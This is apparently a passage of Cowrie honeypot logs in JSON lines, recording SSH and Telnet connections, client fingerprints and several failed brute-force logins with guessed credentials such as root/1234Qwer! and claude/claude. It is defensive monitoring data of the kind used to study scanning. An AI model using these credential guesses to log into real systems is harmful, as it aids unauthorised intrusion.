{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:51.202466Z","src_ip":"89.223.69.22","session":"09af1639daeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a000000","message":"login attempt [root/a000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:51.544816Z","src_ip":"89.223.69.22","session":"09af1639daeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":48356,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bcd9e411eb","protocol":"ssh","message":"New connection: 43.153.104.156:48356 (10.17.0.5:22) [session: 83bcd9e411eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.017024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.022343Z","src_ip":"43.153.104.156","session":"83bcd9e411eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.161091566085815,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.042149Z","src_ip":"192.119.13.58","session":"a29fd6c9b8d7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.090343Z","src_ip":"43.153.104.156","session":"83bcd9e411eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rust","password":"rust","message":"login attempt [rust/rust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.392698Z","src_ip":"43.153.104.156","session":"83bcd9e411eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":44054,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ec523d278d","protocol":"ssh","message":"New connection: 43.135.129.144:44054 (159.203.135.109:22) [session: a7ec523d278d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.634641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.639790Z","src_ip":"43.135.129.144","session":"a7ec523d278d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.661727Z","src_ip":"89.223.69.22","session":"09af1639daeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:52.709657Z","src_ip":"43.135.129.144","session":"a7ec523d278d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:53.020004Z","src_ip":"43.135.129.144","session":"a7ec523d278d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:53.465172Z","src_ip":"43.153.104.156","session":"83bcd9e411eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:54.091163Z","src_ip":"43.135.129.144","session":"a7ec523d278d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.287585735321045,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:55.183484Z","src_ip":"192.119.13.58","session":"2b647738469f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.879334926605225,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:55.679608Z","src_ip":"192.119.13.58","session":"8c0bb95ea233","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.97678279876709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:56.501539Z","src_ip":"192.119.13.58","session":"46122bc945a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.015180587768555,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:57.816850Z","src_ip":"192.119.13.58","session":"9bf5532d8dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":52768,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b1ed942a2ab","protocol":"ssh","message":"New connection: 43.135.182.46:52768 (159.203.135.109:22) [session: 4b1ed942a2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:59.611136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:59.615238Z","src_ip":"43.135.182.46","session":"4b1ed942a2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:59.683779Z","src_ip":"43.135.182.46","session":"4b1ed942a2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwer!","message":"login attempt [root/1234Qwer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:59.999615Z","src_ip":"43.135.182.46","session":"4b1ed942a2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:01.076041Z","src_ip":"43.135.182.46","session":"4b1ed942a2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48040,"dst_ip":"10.17.0.5","dst_port":23,"session":"a849932c5b67","protocol":"telnet","message":"New connection: 192.119.13.58:48040 (10.17.0.5:23) [session: a849932c5b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:03.163133Z"}
{"eventid":"cowrie.session.closed","duration":37.796026945114136,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:05.304331Z","src_ip":"192.119.13.58","session":"e0bf83288e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57478,"dst_ip":"10.17.0.5","dst_port":23,"session":"d904e0ce642a","protocol":"telnet","message":"New connection: 192.119.13.58:57478 (10.17.0.5:23) [session: d904e0ce642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:05.505528Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38986,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e54de3c4b28","protocol":"telnet","message":"New connection: 192.119.13.58:38986 (10.17.0.5:23) [session: 1e54de3c4b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:08.984833Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43300,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68582117a87","protocol":"telnet","message":"New connection: 192.119.13.58:43300 (10.17.0.5:23) [session: b68582117a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:16.131097Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":56922,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce5e4fc99e45","protocol":"ssh","message":"New connection: 79.127.181.44:56922 (159.203.135.109:22) [session: ce5e4fc99e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:17.386674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:17.594057Z","src_ip":"79.127.181.44","session":"ce5e4fc99e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:17.795332Z","src_ip":"79.127.181.44","session":"ce5e4fc99e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:17.801194Z","src_ip":"79.127.181.44","session":"ce5e4fc99e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.31684947013855,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:19.659526Z","src_ip":"192.119.13.58","session":"b051cc1dec0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.229013442993164,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:24.056873Z","src_ip":"192.119.13.58","session":"fc8c0dbfb7e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52386,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c12072538a","protocol":"telnet","message":"New connection: 192.119.13.58:52386 (10.17.0.5:23) [session: 79c12072538a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:25.929208Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17230,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce90b5f20477","protocol":"ssh","message":"New connection: 194.59.206.2:17230 (10.17.0.5:22) [session: ce90b5f20477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:26.092906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:26.098517Z","src_ip":"194.59.206.2","session":"ce90b5f20477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:26.184802Z","src_ip":"194.59.206.2","session":"ce90b5f20477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:26.279353Z","src_ip":"194.59.206.2","session":"ce90b5f20477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54042,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed1aa431870d","protocol":"telnet","message":"New connection: 192.119.13.58:54042 (10.17.0.5:23) [session: ed1aa431870d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:26.294648Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f3189fe08c3","protocol":"telnet","message":"New connection: 192.119.13.58:34840 (10.17.0.5:23) [session: 0f3189fe08c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:28.514614Z"}
{"eventid":"cowrie.session.closed","duration":42.870224475860596,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:28.744343Z","src_ip":"192.119.13.58","session":"00b6019fd254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b78f8ed3baf","protocol":"telnet","message":"New connection: 192.119.13.58:38746 (10.17.0.5:23) [session: 8b78f8ed3baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:29.488663Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41976,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c46ece7bab5","protocol":"telnet","message":"New connection: 192.119.13.58:41976 (10.17.0.5:23) [session: 3c46ece7bab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:30.272111Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"21da4cb3ae79","protocol":"telnet","message":"New connection: 192.119.13.58:49014 (10.17.0.5:23) [session: 21da4cb3ae79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:31.866134Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53530,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c3ffe691313","protocol":"telnet","message":"New connection: 192.119.13.58:53530 (10.17.0.5:23) [session: 1c3ffe691313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:32.996678Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34296,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb50a2d77a2d","protocol":"telnet","message":"New connection: 192.119.13.58:34296 (10.17.0.5:23) [session: cb50a2d77a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:42.102441Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42546,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3fc17b3cf8","protocol":"telnet","message":"New connection: 192.119.13.58:42546 (10.17.0.5:23) [session: 6f3fc17b3cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:44.074118Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45058,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bd6593485b0","protocol":"telnet","message":"New connection: 192.119.13.58:45058 (10.17.0.5:23) [session: 0bd6593485b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:44.621884Z"}
{"eventid":"cowrie.session.closed","duration":4.300391435623169,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:48.374384Z","src_ip":"192.119.13.58","session":"6f3fc17b3cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36736,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b3d86abc89","protocol":"telnet","message":"New connection: 192.119.13.58:36736 (10.17.0.5:23) [session: 04b3d86abc89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:49.540278Z"}
{"eventid":"cowrie.session.closed","duration":41.75275921821594,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:50.737461Z","src_ip":"192.119.13.58","session":"1e54de3c4b28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.97870111465454,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:51.141716Z","src_ip":"192.119.13.58","session":"a849932c5b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.87916684150696,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:51.384578Z","src_ip":"192.119.13.58","session":"d904e0ce642a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58618,"dst_ip":"10.17.0.5","dst_port":23,"session":"4410e1769f08","protocol":"telnet","message":"New connection: 192.119.13.58:58618 (10.17.0.5:23) [session: 4410e1769f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:55.144684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43724,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf7c0a15aac","protocol":"telnet","message":"New connection: 192.119.13.58:43724 (10.17.0.5:23) [session: 9bf7c0a15aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:13:58.593243Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":49426,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea6d374d30f","protocol":"ssh","message":"New connection: 43.135.129.144:49426 (159.203.135.109:22) [session: 1ea6d374d30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:14:00.393329Z"}
